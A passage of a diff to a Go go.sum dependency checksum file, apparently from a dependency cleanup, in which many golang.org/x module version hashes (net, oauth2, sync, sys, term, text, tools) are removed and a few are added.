h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= -golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM= golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e h1:fLOSk5Q00efkSvAm+4xcoXD+RRmLmmulPn5I3Y9F2EM= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= -golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 